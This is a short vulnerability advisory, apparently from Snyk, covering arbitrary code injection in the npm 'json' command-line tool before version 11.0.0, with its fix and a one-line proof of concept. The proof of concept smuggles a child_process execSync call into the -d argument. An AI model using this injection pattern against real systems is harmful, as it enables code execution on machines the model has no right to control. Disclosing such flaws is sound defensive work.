Arbitrary Code Injection Affecting json package, versions <11.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-JSON-1082930
- published 22 Mar 2021
- disclosed 5 Mar 2021
- credit splitline
How to fix?
Upgrade json
to version 11.0.0 or higher.
Overview
json is a 'json' command tool for massaging and processing JSON on the command line.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d
argument.
PoC
curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'
References
CVSS Scores
version 3.1